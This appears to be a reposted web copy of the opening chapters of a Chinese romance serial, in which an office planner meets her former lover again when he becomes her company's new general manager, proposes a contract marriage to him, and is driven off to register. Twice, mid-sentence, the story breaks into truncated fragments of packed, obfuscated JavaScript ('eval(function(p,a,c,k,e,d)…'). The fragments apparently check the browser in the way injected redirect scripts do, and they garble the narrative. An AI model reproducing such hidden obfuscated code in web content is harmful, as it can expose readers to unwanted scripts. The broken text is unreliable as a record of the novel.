《偶阵雨[先婚后爱]》 1. 重逢 《潮热雨蝶》 文/浅静/春/2025年4月24日首发 “你会用吗?” “你不要看我。” “关灯,关灯。” “啊啊啊痛,你轻一点。” 压在宋时微身上的男人眼神晦暗,用力吻住她的唇,仿若要将她吞吃入腹。 她从梦中惊醒,背上一身冷汗,又梦见和他第一次做的场景。 回到南城,连带当初的记忆一同回来。 窗外下起淅沥沥的小雨,六月的南城,梅雨季节,到处湿漉漉。 宋时微做了一晚的梦,顶着黑眼圈乘坐地铁前往新公司。 时隔七年,她再次踏入这座熟悉的城市,宋时微心里五味杂陈。 曾经居住的小区夷为平地,高中从老城区搬到了城郊。 地铁连成环线,上下班人挤人。 熟悉的区域变得陌生,物非人更非。 宋时微看看银行卡余额以及信用卡待还款账单,没时间伤春悲秋,万事没有活着重要。 上班第一件事,她被主管告知,集团晚上有一场晚宴,她要参加,特意强调要打扮。 不过,化妆与租赁礼服费用可以报销,造型点到为止,不能失了策划部的脸面即可。 宋时微连声应下,一个任人宰割的社畜,只有听从领导安排的份,她还没有转正,需要这份工作养活自己。 同部门的同事乔言心神神秘秘,和宋时微八卦,“听说新来的总经理未满30,年轻有为,一表人才,还没结婚。” 宋时微打开ppt,随意说:“是不是还有不近女色,一心只有工作。” 乔言心分给她一块面包,“你怎么知道?” 宋时微礼貌道谢,“电视剧、小说都这么演的。” 乔言心的目光上下打量宋时微,精致白皙的鹅蛋脸,樱唇高鼻梁,她看不出来眼睛形状,有点丹凤眼但又柔和一些。 宽松V领长款衬衫,系上腰带显出腰身,搭配一条长阔腿裤,温柔又洒脱。 用一根笔绾了个丸子头,衬得她随性自在。 “你可以冲,拿下他,成为老板娘。” 宋时微看她的笑浑身起鸡皮疙瘩,“我拿下这个项目还差不多。” 灰姑娘的故事经久不衰,可惜她不是。 关于总经理的消息不胫而走,吃饭都能听到同事讨论。 “总经理从海外留学归来,花了三个月清除异己,说一不二,硬生生将股价拔了上去。” “听说颜值很高,但不好相处,一份方案可以改上百遍,吹毛求疵要求高。” 看来是个难伺候的人,这样也好,说明公司有前途。 手头的方案完成七七.八八,宋时微想起宴会的事,紧急求助她在南城剩下的唯二人脉。 林以棠和顾裴司,她高中最好的两个朋友,他们没有怪她不告而别,依旧如从前一样待她。 宋时微点开三人小群,【朋友们速度求救,随便推个造型室给我,看着高端上档次,价格别太贵。】 林以棠:【干啥去,相亲吗?】 宋时微:【集团晚会,欢迎新任总经理上任仪式。】 顾裴司:【又是哪个老头子,你保护好自己啊,别喝酒,饮料也可能有问题。】 【如果遇到不对的情况,发个8,我去接你。】 林以棠:【你说,有没有可能总经理姓谢?电视剧都这么演的。】 宋时微:【不可能,他不是还在国外吗?】 撤回已经来不及了,林以棠和顾裴司已经看到了。 顾裴司&林以棠:【???】 宋时微无奈找补一句,【你们俩上次聊天聊到的。】 颇有一种此地无银的感觉。 什么时候和他谈恋爱的? 为什么不告而别? 为什么回来? 宋时微没有告诉任何一个人当年发生了什么事。 她和他的关系,算前任吗? 或许,用睡过一夜的高中同学形容更为合适。 宋时微根据她们给的地址,提前一个半小时下班。 看到造型室的价格单,就两个字,肉疼。 幸好可以报销。 小姐姐问:“女士,您有什么要求吗?” “没有,随意。” 宋时微坐着不自在,看旁边的顾客卷头发,旋即补充,“方便行动,不要繁琐,简单一些,好拆。” 最后选了一条白色背心连衣裙,全身只有一条同色系腰带点缀,简单、素净。 重点是长度合适、不浮夸。 林以棠正好过来找她,“你这也太素了吧,连个项链都没有。” 宋时微闭上眼睛,化妆师给她画眼影,“大小姐又翘班了?” 林以棠拉把椅子坐下,“老头让我去相亲,一个男的还要依靠联姻,太没本事了吧。” 宋时微笑说:“这叫强强联合。” “你说得对。” 林以棠从包里掏出一条红色扇子项链,“借你用,结束再还我。” 红色扇子在白炽灯照射下红色愈发艳丽,宋时微不要,“颜色太红了。” 林以棠给她戴上,“红色刚好衬你,画龙点睛。” 宋时微认得这个牌子,她一个月工资都买不起,“谢了,结束给你送回去。” 林以棠拍拍她,“不急,我又不戴。” “走吧,送你去酒店。” 她又换了一辆新车,宋时微轻车熟路坐进副驾驶,打开导航。 林以棠感慨,“可以啊,这地选的,下了血本,微微,如果是他你怎么办?” 宋时微摇头,“不可能。” 自打她回到南城,这个名字三天两头往耳朵里钻。 林以棠问:“万一呢?” 天空雨丝渐停,积雨云翻涌,似乎在酝酿一场大雨。 宋时微按开车窗,风吹在她的脸上,“他一个总经理还能和我计较啊。” 林以棠摇摇头,“那可不一定,你是没见到当初他找你的样子。” 做事稳重、遇事不慌不乱的人,宋时微想象不出谢屿舟慌神找她的样子。 她趴在窗户上,细细观察城市的变化,南城二环之外又在扩张,物变化如此之大,更何况人呢。 “过去这么多年,说不定人家有未婚妻了。” 林以棠想了想说:“还真有可能,我听说他爸好像在张罗给他相亲,都说不准的事,可能是谣言。” 宋时微神色微变,“真真假假与我无关。” 一刻钟后,车子到达酒店。 宋时微跟着指示牌上行,电梯里遇到公司其他同事,盛装出席。 相对来说,她的着装偏日常,不会引人注目。 集团为了保持神秘,欢迎的大牌上没有写上总经理的名字。 除了少数几个高层领导,其他人并不知道他的真实身份。 究竟是何方神圣,需要如此大费周章。 宋时微的领导程清安伸手喊她,两个人找到自己的座位坐下。 “衣服挺好,漂亮是把双刃剑。” 没有过多首饰堆砌,不是闪闪发光亦不是深V领的礼服。 不想出风头,脚踏实地挺好。 宋时微知道领导的意思,“我明白的,安姐。” 每个人的选择不同,她没有什么大志愿,温饱之外,妈妈开心。 至于她自己,无所谓。 程清安侧眸看宋时微,没有任何不耐和着急,不去和其他人攀谈,“不好奇总经理是谁吗?” 宋时微莞尔一笑,“有点好奇,但不多,我更好奇今晚几点结束,想回家睡觉。” 和聪明人交流,不需要挑破,一点就懂。 她有职业病,观察下会场,主色调是深蓝色,两排会议桌,简直就是一个会议现场。 公司其他领导陆陆续续到场,程清安一一向她介绍,财务部总监、人事部总监、技术部总监和经理等等,每个人神情严肃、如临大敌。 宋时微发觉,除了她,其他人最低等级都是经理级。 为什么独独喊她这个基层人物,程清安也不清楚,是总经办给的参会人员名单。 有股道不明的异样在心底滋长。 18点18分,会场灯光熄灭,会议准时开始,聚光灯光束集中在主舞台上。 不知为什么,宋时微的心突然没来由地砰砰乱跳。 一束光束从舞台左侧扫过来,新任总经理款款走上台,灯光清晰照亮他挺拔的身姿。 男人身着挺括的黑色高定西装,黑色西服裤包裹一双长腿,步伐矫健且自信。 他缓缓转过身,胸前的条纹领带更显成熟稳重。 宋时微坐在最后,她抬眼望去,视线定格在总经理的脸上时,心脏漏了一大拍。 怎么是他。 怎么会是谢屿舟。 男人面容冷峻,瞳仁漆黑,眉峰如刃,薄唇轻抿。 那双眼眸历经岁月沉淀,愈发幽沉深邃。 宋时微呼吸不稳,失频错乱,手掌撑在桌子上。 心脏持续乱跳,久别重逢之时,它比她要先认出他。 一语成谶,总经理真的是他。 时光境迁,岁月多么会捉弄人。 当初那个只知道闷头学习的男生,一跃成为集团的总经理,成了她的老板。 谢屿舟的视线向下掠过一圈,宋时微觉得谢屿舟盯向她的方向,心虚地低下头。 偌大的会场,她坐在角落里,七年未见,恐怕他早已不认得她。 宋时微喝一口水压压惊,她不敢抬头,不敢直视谢屿舟的眼睛。 “随意些,今天只是认识一下。” 宋时微的耳朵里不断灌入他冷冽稳重的声音,听他自我介绍,听他询问别人。 明明只是正常的音量,但每提问一个问题,直击要害,自带上位者隐隐的压迫感。 她的眼睛可以作弊不看他,耳朵却没办法。 轮到策划部汇报,同时是最后一个,会场内所有的视线汇聚于此,包括舞台上的男人。 宋时微全身的神经紧绷,崩到极致快要断裂。 她与谢屿舟对视一眼,乌黑的眸里藏着无边暗河,看不明道不白。 宋时微紧急挪开视线,强装镇定,拿起手边的笔假装记笔记。 难捱的十分钟终于结束,宋时微闷得快要喘不过来气。 “安姐,我去下洗手间。” 程清安拿起手包,“楼下晚来厅,不要来晚了。” 光影交错,明亮的宴会厅里三三两两应酬,宋时微一个人靠在吧台,思绪乱飞。 她想过和谢屿舟重逢的样子,她以为自己做好了准备,现实到来的这一刻,不能承受之重。 有个男人向她走过来,伸出右手,“你好,宋时微,我是技术部的宁远洲,可能你不认识我,我们同一天入职的。” 面生但宋时微有印象,轻轻握一下,“您好,宁经理,有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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幸而,顶层套房是独立的电梯厅,不必担心遇到同事。 孟新允在门前停下,“宋小姐,您请便。” 房门关闭,隔绝了走廊的动静,套房内未开灯,借助远处的霓虹和微弱的月光照明。 宋时微站在门口,在四周寻找,看不见人。 她不知道谢屿舟在哪儿,深深呼吸,做好心理准备,轻声说:“谢总,您好,您要的药我放在门口柜子上了,不打扰您休息了。” 一口一个“您”,生怕自己越了界。 同时提醒自己,他们只是上下级的关系,除此之外,再无其他。 房间安静如初,没有人回答她,宋时微进退两难。 “送过来。” 一道低沉强势的男声在室内响起。 宋时微循着声音,在落地窗边看到谢屿舟挺阔的身影。 她不得不向他走过去,心脏悬到嗓子眼,脚步沉重,仿佛重重踩在她的心里,碾碎她的理智。 越过客厅,宋时微在谢屿舟后方两米的地方停下,药放在手边桌子上,发出‘咚’的响声。 突然,天花板的筒灯亮起,男人转过身,面对她。 七年未见,再次共同待在同一个房间里。 宋时微只看了一下,谢屿舟白色浴袍露出锁骨冷白的皮肤,漆黑的头发向下滴水。 他淡淡瞥了她一眼,像对待陌生人,直接拧开桌子上的水,抠下两粒药,送入口中,喉结上下滚动。 宋时微垂下视线不再直视他,盯着地面,鞋子上的装饰似乎歪了。 她攥紧手掌,克制声音里的颤抖,“谢总,您休息,我先回去了。” 如意料之中得不到回复。 她向出口的方向踏过去,即将按上门把手时,谢屿舟扣住她的手腕,力道不轻。 宋时微沉溺在男人冷冽的气息里,快被溺毙,她偏开头,“谢总,我的车到楼下了,请您放开我。” 寂静无声的顶层套房中,光线昏昧,阴暗不明,陡升别扭之感。 谁都没有言语。 须臾的沉默过后,谢屿舟开口。 “你老公来接你吗?” “你老公知道你现在和别的男人在一起吗?” “你老公知道你还带着别的男人送的手链吗?” 男人一连三声平淡地疑问,宽大的手掌钳住她的下巴,逼迫宋时微与他对视。 一双黑眸似无风无雨、深不见底的深潭。 宋时微仰起头,今晚第一次离他这么近,瞳孔被他生硬的脸占据。 她眉头蹙起,嗓音里染着怒,“不关你的事,谢总,请您放手。” 清眸里写满倔强,一如当初。 谢屿舟唇线抿直,“宋小姐惯常用完就扔。” 宋时微举起左手,“谢总,再次提醒,我已经结婚了,孤男寡女同处一室不合适。” 修长的无名指上钻石反射出细碎耀眼的光。 “那又如何。” 突然,谢屿舟俯身靠近宋时微,她头一偏,躲了过去。 男人的唇停在距离她嘴唇一厘的距离,直起上半身,冷淡出声,“以为我是想亲你吗?” “我对有夫之妇没兴趣。” “你可以走了。” 2. 求婚 谢屿舟松开宋时微的手腕,面无表情掸了掸手心的灰,似是嫌弃,抬腿走进卧室。 挺括的背影消失在房间拐角,留给宋时微一个模糊的侧影。 她一个人待在原地,进退维谷,脚似乎粘在地上,动弹不得。 总统套房隔音绝佳,光线昏暗,室内静得可怖,空气仿若凝滞。 盛夏季,宋时微却觉得冷。 不知过了多久,也许一分钟,也许一刻钟,宋时微缓过神,整理完毕连衣裙和头发。 她抿了抿唇,最终启开,向卧室方向礼貌疏离告别,“谢总,您好好休息,我先告辞。” 无人回答,不知谢屿舟有没有听见。 宋时微的手压在门把上,时间一分一秒溜走,仍旧没有得到回答,用力向下一压。 轻轻的‘砰’一声,一扇门隔绝了两个人。 为曾经的荒唐画上句号。 宋时微倚靠在走廊上,擦干手心的薄汗,向电梯口走去,一路上她想不通谢屿舟让她上来的原因。 和老同学叙旧吗?结果来看,并不是,平淡的会面,没有质问,没有寒暄。 他不在意了。 她和他自此形同陌路,只有上下级的关系。 或许,对她和谢屿舟来说,这是最好的结果。 宋时微跟着‘安全出口’的标识,漫无目的地离开酒店,踏上马路。 华灯夜未央,川流不息,模糊的车影一瞬即过。 风扬起她的头发,遮住了她的眼睛,似乎搞砸了重逢的见面。 阴沉了一下午的天,雨终于落下。 豆大的雨珠肆无忌惮地打在宋时微的身上,很快晕湿了衣服。 她举起包顶在头上,小跑几步找地方躲雨。 可是,四目寻找,她放弃了躲雨的念头,竟站在路边望着远处的高楼大厦。 南城一个她从小生长的城市,曾经被迫离开,现在主动回来,却没有她能去的地方。 ‘滴滴’,后方不断传来喇叭声,扰人思绪。 你走你的阳关道,我过我的独木桥,宋时微忍无可忍,回过头开骂,“你……” 看到了一辆黑色的大G,划开雨幕稳稳停在她的身边。 宋时微心里一震,是他吗? 下一秒,副驾驶的车窗被摇下,林以棠大声喊她,“微微,快上车。” 宋时微疾步拉开后座的车门,发现是顾裴司开车,她接过林以棠递过来的纸巾,擦擦头发,“你们怎么来了?” 林以棠转过身,“给你打电话没人接。” 她的性格直来直往,开门见山问:“听我妈说谢屿舟去寰宇集团,我一听公司名字好熟,这不是你刚入职的公司吗?所以你和他遇上了吗?” 宋时微瞥开投来的打量视线,面色无异,语气似是随意,“对,他是新来的总经理,没有为难我,放心。” 顾裴司和林以棠面面相觑,用嘴型对话。 说什么啊?前任成上司。 你说,来的时候不是想好了吗? 我在开车,你来。 林以棠尝试安慰她,“八百年前的前任,而且他一个总经理,不会越级找你讨论工作,一个月见不到几次。” 宋时微知道朋友是开导自己,她佯装不在意,难得解释,“我和他没有谈过,不是前任就是同学,还没有和你们熟。” 她的眼睛转向窗外,雨滴落在玻璃车窗,模糊了双眼。 回想今晚见面的场景,谢屿舟的措辞称呼是别的男人,在他眼里,他们也不算谈过。 “这样啊。” 林以棠没有刨根问底,朋友想说自然会说,即使她很好奇。 当年谢屿舟恨不得把南城翻个个,意志消沉很长一段时间。 不是前任,恐怕也没那么简单。 一闪而过的地铁口,宋时微当即说:“前面把我放下,老城路窄我坐地铁回去。” 林以棠哪会同意,“不是晚高峰没事,大晚上你一个人不安全。” 不想朋友担心,宋时微应声回答,“谢谢你们。” 林以棠递给她一个三明治,“别和我们客气了,吃点东西垫垫。” 总经理大会偶遇前任,哪能吃饱。 “我吃得很饱。”她过了心情不好吃不下的年纪,现在明白,好身体才有未来。 汽车路过市中心的图书馆,曾经她和谢屿舟每个周末都要来的地方。 躲躲藏藏,从不会被人撞见。 在黯淡的高中生活,周末是她最期待的日子。 如今,图书馆仍在,人却不在身边了。 宋时微从久远的回忆回到现实,“糖糖,刚好我把项链还给你。” 她摸摸脖子,摸了几下,遭了,项链不知丢哪里了。 “对不起,糖糖,项链落酒店了,我回去找给你。” 林以棠摆摆手,“没事,一个项链而已。” 宋时微当即联系公司的行政负责人秦思晚,【晚姐,能麻烦您把酒店对接负责人推送给我一下吗?】 秦思晚:【发生什么事了吗?】 招聘面试时她对宋时微印象颇好,姣好的外表是一方面,更重要的是言谈举止。 宋时微:【落了一样东西在酒店,我问问他们。】 秦思晚:【噢噢噢这样啊,给你,丢在会场内应该还好,和她们合作很久,捡到会告诉我的。】 宋时微:【谢谢晚姐。】 她联系上酒店的负责人,十分钟后,被告知打扫的人在会场没有看见项链。 “我会尽快找到还给你。” 宋时微最怕欠人人情,尤其是一条上万块的项链。 林以棠:“小事小事,不急。” 车子停在翠微园门前,晃晃悠悠的铁门,破旧的广告栏杆,看不到保安,没有盘问,外来人员随意进出。 林以棠担忧问:“这小区有保安吗?你还合租,安全吗?” 宋时微:“还好,室友都是女孩子。” 朋友离开以后,她打车折返回到酒店,说明情况后,在会场内的确没有找到项链,眼下只剩下一个可能。 除却工作,宋时微不想和谢屿舟再有交集,但现在事出有因。 她站在酒店廊下,在OA里找到孟新允的手机号码,说明来意,“孟助,你好,能麻烦你把谢总联系方式给我一下吗?” 孟新允刚准备躺下,“我需要问下谢总,不过,一般这个点谢总可能睡着了。” 宋时微:“好的,麻烦你了。” 她看了下屏幕时间,刚过十一点,能赶上地铁,沿着道路朝地铁站走去。 这边,孟新允斟酌说辞,【谢总,宋小姐她想要你的私人联系方式。】 意料之中,收不到回复。 他一个助理,摸不清老板的意思,能明确一点,宋时微的重要性。 【宋小姐,谢总睡下了,我明天回复你。】 宋时微:【麻烦你了,孟助。】 一条2万的项链让她的生活雪上加霜,不过能赔得起。 她乘坐末班地铁回到家,室友刚洗漱完,“又加班这么晚啊。” 宋时微:“对,早点休息,晚安。” 她等到下半夜,没有等到回复,夜色浓浓,毫无一丝困意。 —— 翌日是周末,林以棠琢磨时间打电话给宋时微,“微微,我爸让我去相亲,你陪我去。” 宋时微按按太阳穴,“好,地址发我,马上到。” 接近东方泛白才睡着,她一旦被吵醒再入睡十分困难。 陪朋友相亲,宋时微简单洗了把脸涂个水乳防晒,未涂眉毛和唇膏,在简易衣柜里找到一件普通的白T加牛仔裤穿上出门。 林以棠在翠微园门口等她,宋时微按下隔板,“怎么回事?昨晚没听你说。” “老头早上临时通知我的,不去就要停我一个月零花钱,前面一个司机一个保镖看着我。” 简直是被绑架的态势。 宋时微感叹,“这是铁了心啊,你爸这么重视,选兰亭,这个这么合他的眼。” 不仅开了库里南,见面选在兰亭会所。 兰亭是南城最出名的一间会所,占据市中心最繁华的地段,闹中取静。 同时采取会员制,起始充值金额高达七位数,普通人充不起,来这里的人非富即贵。 宋时微拾阶而上,门前的石松郁郁葱葱,一砖一瓦大有来头,扑面而来的贵气。 以她浅显的认知来看,入目的山水紫天然奢石乃精挑细选,构建水中松,松中水,叠瀑高落的别致景观。 绕过回廊,方是会所主楼,一栋中式建筑隐匿在城市寸金寸土的位置。 雕梁画栋,极具中式美学韵味。 脚下的每块大理石,恐大有来头,更不必说整块的翡翠屏风。 林以棠边走边透露,“不是,是那个人定的,我忘了他的名字了。” 宋时微问:“别的呢,照片有吗?多大年纪?” 林以棠吐吐舌头,“没看,老头的安排不会太差吧。” “但愿如此。”林以棠父亲爱女,但有些专制。 说话间,已到达二楼的见面地。 对方许是为了打消林以棠的顾虑,没有选在包厢,选在楼上一处宽阔的公共区域见面。 宋时微坐在隔壁桌,帮朋友分析男方的一举一动一字一词,有没有隐含的意思。 林以棠的相亲对象叫顾景渊,顾家长子,之前传闻是不务正业的公子哥做派,亲眼所见,并不像。 相亲氛围奇奇怪怪,对方太熟稔,不像第一次和以棠认识。 宋时微:【你们之前认识?】 林以棠:【他说‘好久不见’,但是我都没听过这个名字。】 宋时微:【那就是对你芳心暗许,念念不忘的人。】 林以棠:【这样的人多了去了。】 朋友说的是实话,这些年追她的人不胜其数,而她一个都看不上。 宋时微对面坐了一个男人傅景深,陪顾景渊来相亲。 只互相介绍名字,她看不出他的来头,但通过通身的穿搭和气质来看,有一点很明确,他和她不是一个圈层的人。 除了林以棠和顾裴司,恐没有哪个富二代愿意和她做朋友。 傅景深轻声问:“宋小姐,毛峰可以吗?” 宋时微客气回答:“给我一杯温水就好,谢谢。” 她喝不了茶类饮品,一口就会失眠,比咖啡管用。 都是帮朋友把关,自然是敌对关系,但傅景深只静静看着,不疾不徐品茶,偶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大脑分析一遍,公司不是谈私事的地方,只能把握眼前的机会。 宋时微追上谢屿舟,“谢总,请等等,可以借一步说话吗?” 谢屿舟抬起冷白手腕看下时间,淡瞥她,“一分钟。” “够用了。” 两人走到二楼的拐角处,这里被一颗高大的绿植挡住,旁人看不到他们在做什么。 空间有限,面对面站立,颀长的身影落下,自带上位者的压迫感。 谢屿舟语气不耐,“什么事?” 宋时微询问:“你有看到一条红色的扇形项链吗?长这个样子。” 她调出官网图片,伸长手臂递到谢屿舟眼前。 看出他对她的态度,始终保持适当距离。 谢屿舟微微一瞥,口吻冷淡,“没有。” 宋时微缓缓呼吸,“谢总,如果后面您有看到,麻烦您告诉我一下,项链对我很重要。” 看着递过来的二维码,谢屿舟冷声说:“我为什么要给一个陌生人联系方式?” 陌生人? 宋时微呼吸一滞,悻悻收起手机,她不抱希望,也许掉在了哪条路上。 “谢总,不打扰您的时间。”宋时微刚准备离开,谢屿舟的电话响起。 他接通,“姑姑,我刚回国,没有结婚的打算。” 谢思为虽是谢屿舟的姑姑,性格直爽,说话直接,“这几天我收到了一堆照片,有些真的不错,和你挺般配的。” 谢屿舟眉峰轻拧,“姑姑觉得不错,可以收做义女,您不是一直想要女儿,或者给池砚舟,他也单身。” “他,算了吧,别祸害人家姑娘了。”谢思为转回正道,“懒得说你,等你奶奶来收拾你,看你去不去。” 谢屿舟:“我现在有事,挂了。” 他被催婚吗? 宋时微看着他的侧影,浑身散发勿近的气质,这些年更甚。 她收回迈出去的步伐,攥紧拳头,做下一个决定,“谢屿舟,你看我可以吗?” 谢屿舟审视的目光在她脸上逡巡,“可以什么?” 宋时微重重呼吸,鼓足勇气,仰起头直视他的眼睛,“和你结婚。” 一瞬间,四周所有的声音消失。 谢屿舟的眼睛里闪过一丝惊讶,许是他未曾料到她会直接提议。 男人向前一小步,语气不善,“宋小姐这是离婚了?在广撒网,还是在养鱼?我排第几?” 看来,他信了她胡扯的已婚。 宋时微没有后退,“我们挺合适的。” 谢屿舟没有要走的迹象,陡然勾了勾唇,似是嘲笑,反问她,“合适?” 宋时微攥紧手掌,“刚好,我离婚,你未婚,还可以解决你的催婚,大家互惠互利。” 说的像在洽谈合作,而她没有任何筹码,孤身一人出来谈判。 “你离婚,我未婚,刚好?” 谢屿舟反问,上半身向前微倾,瞳仁深邃看向宋时微,薄唇冷厉道:“宋小姐,我对离过婚的女人更没兴趣。” 3. 领证 宋时微与谢屿舟擦肩而过,他离开兰亭会所。 求婚失败,宋时微站在原地,不敢回头看他,他走得太过决绝。 这一瞬,体会到心脏崩裂的痛。 她要感谢这颗一米多高茂盛的天堂鸟,帮她遮挡住失态,给她以调整心情的空间。 窗外的阳光真好,平等对待每一个人。 宋时微摊开手心,密密麻麻的月牙印上方,是薄汗。 谈判失败,不欢而散。 忽而自嘲笑笑,真真是被太阳晒昏头了,不然怎么会向谢屿舟求婚。 他恨她都来不及,怎么可能会答应她呢。 宋时微下单成功丢失的项链,方回到座位。 林以棠和顾景渊似乎聊得投机,竟没有向她求救,甚至有一起吃午饭的趋势。 只是,傅景深饶有兴致地看着她,半晌,开口:“你认识谢屿舟。” 他用的是肯定的语气,不是疑问句。 宋时微佯装坦荡,“他是我老板。” 傅景深摸摸下颌,意味深长道:“这样啊。” 看着不像单纯的上下级关系,加上之前他听说过有关谢屿舟的传言,生出好奇心。 终归与他无关,点到为止。 “宋小姐,要吃午饭了,走吧。”傅景深站起身,示意宋时微先行。 林以棠挽住宋时微的手臂,“微微,走。” 看来她的心情颇好。 两个女生在前面走,男人走在后面。 宋时微偏向林以棠,压低声音问:“大小姐,你聊的怎么样啊?” 林以棠声音同样很小,“还可以,老头精挑细选,顾景渊这个人没有绯闻,家庭比较简单,没有勾心斗角的麻烦事,重点是,他说他不签婚前协议,他的全部算作婚后财产,我的还是我的,多香啊。” 宋时微:“最后是重点吗?” 林以棠压不住的开心,“那可是实打实的钱。”她找补一句,“当然啦,他这个人外表还不错,勉勉强强过得去。” “勉强?”宋时微转而说:“比如别的呢,性格方面。” 林以棠眼神微转,“还凑合吧,你观察的怎么样?” 当时注意力被谢屿舟分散,宋时微仅有少量印象,“没什么问题,有礼貌不越距,没说让你不开心的话。” 顿了顿,又说:“他看起来挺深沉的,就这么点时间,我看不透。” 林以棠感慨,“他们这种人心眼子很多,和谢屿舟一样。” 肯定是他伤了微微的心,不然她怎么一声不吭就走了。 还想玩她逃他追的戏码,做梦。 绕过转角进入包厢,一张适中的圆形桌子,林以棠挨着顾景渊坐,宋时微只能靠近傅景深。 点完了菜,今天的两位主角同时借口出去一趟,包厢内谁都没有言语。 等了十来分钟,迟迟不见人归来。 宋时微紧盯门口,“他们人呢?”同时发信息给林以棠,问她去哪了。 傅景深收到顾景渊的信息,面不改色道:“现在看来应该是丢下我们走了,先吃饭吧。” 宋时微又发一条信息,【大小姐,你去哪儿了啊?】 林以棠:【给你创造机会,抓住傅景深。】 宋时微:【不用。】 林以棠:【你还惦记谢屿舟?】往里一个人最快的方式是展开新的恋情,她了解傅景深,人品样貌家世样样顶尖。 宋时微:【没有,我和他还有傅总,都是不可能的事。】 林以棠:【当积累人脉,日后跳槽用。】 宋时微:【谢谢大小姐。】 人脉和资源是互换的,她一穷二白,能给别人什么呢。 姐妹是为了她好,宋时微知道,只是又不是人人都是林以棠,会无条件对她好。 纵使七年不见,林以棠一如当初。 午饭缺了主角等于缺了活络剂,好在傅景深不是话多的人,剩下汤匙和筷子触碰的声音。 上等的原材料加顶尖厨师烹饪,美味佳肴摆在面前,先填饱肚子。 宋时微吃了七分饱,待傅景深搁下银质筷子,直言道:“傅总,午饭多少钱,我转给你。” 她没有会员,无法结账。 傅景深微微侧身,“哪有让女生买单的道理。” 宋时微坚持,“我不给钱会睡不安稳。” 傅景深:“宋小姐和谁都算得如此清楚吗?” 宋时微:“少点金钱纠葛,对双方都好,我扫您的收款码。” 看在她如此坚持的份上,傅景深报了一个数字。 桌子上他的手机屏幕显示是‘添加好友’的二维码,宋时微提醒他,“傅总,是收款码。” 傅景深勾了勾唇,“加个好友,可以吗?”明明是询问的语气,却听出了不容置喙的感觉。 “可以。”好友添加成功,宋时微果断转账,手指在备注栏顿住,是哪个‘jing’? 刚刚只互相介绍名字,并没有介绍具体的字。 傅景深看出她所想,发出第一条消息,【傅景深】。 宋时微发过去自己的名字。 两个人一齐向外走,傅景深问:“宋小姐有跳槽的打算吗?” 宋时微微笑应对,“暂时没有。” 在傅景深的意料之中,“如果有,随时欢迎。” 宋时微:“谢谢傅总的赏识。”寒暄之词罢了,她没有放在心上。 行至门前,傅景深绅士说:“宋小姐,我送你。” “不用,多谢傅总好意,我叫了车。”宋时微在楼上已提前叫好车,她看向打车软件,恰好到达,“车到门口了,傅总再见。” 傅景深坐进迈巴赫后排,遥望开出去的快车。 直至消失在视野中,男人收回视线,转而看对话框。 橙色的已收款页面,宋时微多转了不少钱,几乎是他报数的二倍,恐怕上午的甜品钱加入在内。 算得清清楚楚,明明白白。 有点意思。 — — 周一,惯常早高峰。 宋时微早起挤上地铁二号线,不知接下来怎么面对谢屿舟,一夕千念,差点坐过站。 当她站在电梯间等电梯时,理清了思绪,或许她都见不到他。 总经理办公室在寰宇大厦顶楼,策划部在45层,中间隔了十多层,电梯都是分开的。 而职级的差别注定他们几乎不会遇到。 “早啊,微微。”乔言心从后方拍了下宋时微的肩膀,转动椅子,“总经理是不是和传闻一样啊?” 宋时微被她的笑容感染,轻轻笑了笑,“早,应该是。” 乔言心啃着包子,“什么时候可以亲眼看见呢。” “不知道。”宋时微打开项目书,试图用工作麻痹思绪。 8点55分,谢屿舟乘坐专梯直达顶层,到办公室第一件事询问孟新允,“上午的会议安排有哪些?” 这是发生什么了?一贯比他更熟悉会议议程的老板,竟然临时问他会议安排。 孟新允纵有不解,仍打开备忘录,逐一汇报,“9点30分,寰宇集团例行高层会议,10点30分约了盛兴的林总电话会议。” 谢屿舟摩挲袖扣,嗓音严肃,“电话会议预计多久?” 孟新允:“一个小时。”老板到底怎么了?把控时间不是他的强项吗? 谢屿舟自语道:“来得及。” 孟新允以为老板有其他安排,“谢总,您是有别的事吗?需要调整会议时间吗?” 谢屿舟的黑眸瞥向办公桌右侧,“人事档案都在这吗?” “对。”孟新允静静等待两分钟,老板没有说话,“谢总您忙,我先出去了。” 总裁办众人听到开门的声音,出来的是孟助理,顿时松了一口气。 夏韵:“你们发现没,谢总今天有点不太一样。” 盛清菡:“哪不一样?不都是西装稳重风吗?” 夏韵:“说不上来,感觉精致一点点。” 盛清菡:“我知道哪里别扭了,他戴了红色的领结,最近公司有喜事吗?” “才上任接管集团,喜事没这么快吧。” 夏韵问孟新允,“孟助,你知道什么内幕吗?” 除了孟助理,其他人并不直接接触谢屿舟,所有报告需要经过孟新允汇报。 “不知道。”孟新允正色道:“我警告你们,谢总最近心情应该会很不好,还有上班时间不要讨论老板。” 夏韵听劝,“钱重要,少八卦,我知道的孟助。” 但骨子里的八卦心压不下去。 两项会议时间控制得刚刚好,在十一点一刻结束,谢屿舟关闭电脑,捞起外套出门。 孟新允立刻弹起来,“谢总您要出去吗?我来联系司机。” 谢屿舟扣上西服扣子,“我自己开车,下午回来。” “好。” 孟新允不多过问一句话,公事老板会带他,私事不在他的工作范围之内。 专梯快速下行,谢屿舟调出宋时微的手机号码,拨通,“宋时微,给你五分钟,和上司请假走流程,带身份证、户口本下来,电梯口正对面A区100号停车位。” “好,马上到。”宋时微不知谢屿舟要做什么,接听之前已做好准备,这是她熟记于心的号码。 她用最快的速度和直属领导程清安请假,说家里水管爆了,领导直接批复。 宋时微和同事交接一下,拿起包起身,在负一层的电梯间左右看看,幸好上班时间没有同事。 一眼看到黑色迈巴赫,她拉开后排车门,纹丝不动,转而拉开副驾驶的门,开车的竟然是谢屿舟本人。 宋时微坐进副驾驶,车子立即发动,她心里打鼓,猜测他要和她说什么。 离开地下车库,光线由暗转明,她用余晖瞥一眼谢屿舟。 